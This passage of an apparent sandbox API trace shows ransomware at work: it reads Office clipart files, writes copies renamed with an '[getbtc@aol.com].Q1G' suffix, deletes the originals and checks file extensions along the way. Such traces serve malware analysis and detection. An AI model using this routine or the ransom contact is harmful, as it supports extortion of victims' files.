dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.186] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=10316) returned 1 [0250.186] CloseHandle (hObject=0x1fc) returned 1 [0250.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x20 [0250.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0250.186] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.186] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0250.187] GetLastError () returned 0x0 [0250.187] ReadFile (in: hFile=0x1fc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x284c, lpOverlapped=0x0) returned 1 [0251.097] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2850, lpOverlapped=0x0) returned 1 [0251.754] ReadFile (in: hFile=0x1fc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.754] WriteFile (in: hFile=0x390, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.755] SetEndOfFile (hFile=0x390) returned 1 [0251.755] CloseHandle (hObject=0x390) returned 1 [0251.755] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.755] SetEndOfFile (hFile=0x1fc) returned 1 [0251.757] CloseHandle (hObject=0x1fc) returned 1 [0251.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0251.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0251.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0251.805] lstrlenW (lpString=".doc") returned 4 [0251.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.805] lstrlenW (lpString=".docx") returned 5 [0251.805] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.806] lstrlenW (lpString=".pdf") returned 4 [0251.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.806] lstrlenW (lpString=".xls") returned 4 [0251.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.806] lstrlenW (lpString=".xlsx") returned 5 [0251.806] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.806] lstrlenW (lpString=".ppt") returned 4 [0251.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0251.806] lstrlenW (lpString=".zip") returned 4 [0251.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.806] lstrlenW (lpString=".rar") returned 4 [0251.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.806] lstrlenW (lpString=".bz2") returned 4 [0251.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.806] lstrlenW (lpString=".7z") returned 3 [0251.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0251.806] lstrlenW (lpString=".dbf") returned 4 [0251.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0251.806] lstrlenW (lpString=".1cd") returned 4 [0251.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0251.806] lstrlenW (lpString=".jpg") returned 4 [0251.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0251.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0251.806] lstrlenW (lpString=".doc") returned 4 [0251.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.806] lstrlenW (lpString=".docx") returned 5 [0251.806] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.806] lstrlenW (lpString=".pdf") returned 4 [0251.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.806] lstrlenW (lpString=".xls") returned 4 [0251.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.807] lstrlenW (lpString=".xlsx") returned 5 [0251.807] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.807] lstrlenW (lpString=".ppt") returned 4 [0251.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0251.807] lstrlenW (lpString=".zip") returned 4 [0251.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.807] lstrlenW (lpString=".rar") returned 4 [0251.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.807] lstrlenW (lpString=".bz2") returned 4 [0251.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.807] lstrlenW (lpString=".7z") returned 3 [0251.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0251.807] lstrlenW (lpString=".dbf") returned 4 [0251.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0251.807] lstrlenW (lpString=".1cd") returned 4 [0251.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0251.807] lstrlenW (lpString=".jpg") returned 4 [0251.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.807] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.807] lstrlenW (lpString="HH00546_.WMF") returned 12 [0251.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.808] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3718) returned 1 [0251.808] CloseHandle (hObject=0x3a8) returned 1 [0251.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x20 [0251.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.808] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.808] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.809] GetLastError () returned 0x0 [0251.809] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xe86, lpOverlapped=0x0) returned 1 [0251.824] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xe90, lpOverlapped=0x0) returned 1 [0251.825] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.825] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.825] SetEndOfFile (hFile=0x398) returned 1 [0251.825] CloseHandle (hObject=0x398) returned 1 [0251.825] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.825] SetEndOfFile (hFile=0x3a8) returned 1 [0251.827] CloseHandle (hObject=0x3a8) returned 1 [0251.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0251.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0251.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0251.828] lstrlenW (lpString=".doc") returned 4 [0251.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.828] lstrlenW (lpString=".docx") returned 5 [0251.828] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.828] lstrlenW (lpString=".pdf") returned 4 [0251.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.828] lstrlenW (lpString=".xls") returned 4 [0251.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.828] lstrlenW (lpString=".xlsx") returned 5 [0251.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.828] lstrlenW (lpString=".ppt") returned 4 [0251.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0251.828] lstrlenW (lpString=".zip") returned 4 [0251.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.828] lstrlenW (lpString=".rar") returned 4 [0251.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.829] lstrlenW (lpString=".bz2") returned 4 [0251.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.829] lstrlenW (lpString=".7z") returned 3 [0251.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0251.829] lstrlenW (lpString=".dbf") returned 4 [0251.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0251.829] lstrlenW (lpString=".1cd") returned 4 [0251.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0251.829] lstrlenW (lpString=".jpg") returned 4 [0251.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0251.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0251.829] lstrlenW (lpString=".doc") returned 4 [0251.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.829] lstrlenW (lpString=".docx") returned 5 [0251.829] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.829] lstrlenW (lpString=".pdf") returned 4 [0251.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.829] lstrlenW (lpString=".xls") returned 4 [0251.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.829] lstrlenW (lpString=".xlsx") returned 5 [0251.829] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.829] lstrlenW (lpString=".ppt") returned 4 [0251.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0251.829] lstrlenW (lpString=".zip") returned 4 [0251.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.829] lstrlenW (lpString=".rar") returned 4 [0251.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.829] lstrlenW (lpString=".bz2") returned 4 [0251.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.829] lstrlenW (lpString=".7z") returned 3 [0251.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0251.830] lstrlenW (lpString=".dbf") returned 4 [0251.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0251.830] lstrlenW (lpString=".1cd") returned 4 [0251.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0251.830] lstrlenW (lpString=".jpg") returned 4 [0251.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.830] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.830] lstrlenW (lpString="HH00612_.WMF") returned 12 [0251.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0251.841] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=12632) returned 1 [0251.841] CloseHandle (hObject=0x390) returned 1 [0251.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x20 [0251.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.885] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.885] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0251.886] GetLastError () returned 0x0 [0251.886] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x3158, lpOverlapped=0x0) returned 1 [0251.894] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x3160, lpOverlapped=0x0) returned 1 [0251.895] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.895] WriteFile (in: hFile=0x398, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.895] SetEndOfFile (hFile=0x398) returned 1 [0251.895] CloseHandle (hObject=0x398) returned 1 [0251.895] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.895] SetEndOfFile (hFile=0x3a8) returned 1 [0251.897] CloseHandle (hObject=0x3a8) returned 1 [0251.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0251.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0251.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0251.898] lstrlenW (lpString=".doc") returned 4 [0251.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.898] lstrlenW (lpString=".docx") returned 5 [0251.898] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.898] lstrlenW (lpString=".pdf") returned 4 [0251.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.898] lstrlenW (lpString=".xls") returned 4 [0251.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.898] lstrlenW (lpString=".xlsx") returned 5 [0251.898] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.898] lstrlenW (lpString=".ppt") returned 4 [0251.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0251.899] lstrlenW (lpString=".zip") returned 4 [0251.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.899] lstrlenW (lpString=".rar") returned 4 [0251.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.899] lstrlenW (lpString=".bz2") returned 4 [0251.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.899] lstrlenW (lpString=".7z") returned 3 [0251.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0251.899] lstrlenW (lpString=".dbf") returned 4 [0251.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0251.899] lstrlenW (lpString=".1cd") returned 4 [0251.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0251.899] lstrlenW (lpString=".jpg") returned 4 [0251.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0251.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0251.899] lstrlenW (lpString=".doc") returned 4 [0251.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.899] lstrlenW (lpString=".docx") returned 5 [0251.899] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.899] lstrlenW (lpString=".pdf") returned 4 [0251.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.899] lstrlenW (lpString=".xls") returned 4 [0251.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.899] lstrlenW (lpString=".xlsx") returned 5 [0251.899] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.899] lstrlenW (lpString=".ppt") returned 4 [0251.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0251.899] lstrlenW (lpString=".zip") returned 4 [0251.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.899] lstrlenW (lpString=".rar") returned 4 [0251.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.900] lstrlenW (lpString=".bz2") returned 4 [0251.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.900] lstrlenW (lpString=".7z") returned 3 [0251.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0251.900] lstrlenW (lpString=".dbf") returned 4 [0251.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0251.900] lstrlenW (lpString=".1cd") returned 4 [0251.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0251.900] lstrlenW (lpString=".jpg") returned 4 [0251.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.900] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.900] lstrlenW (lpString="HH00669_.WMF") returned 12 [0251.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.900] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=11490) returned 1 [0251.901] CloseHandle (hObject=0x3a8) returned 1 [0251.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x20 [0251.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft 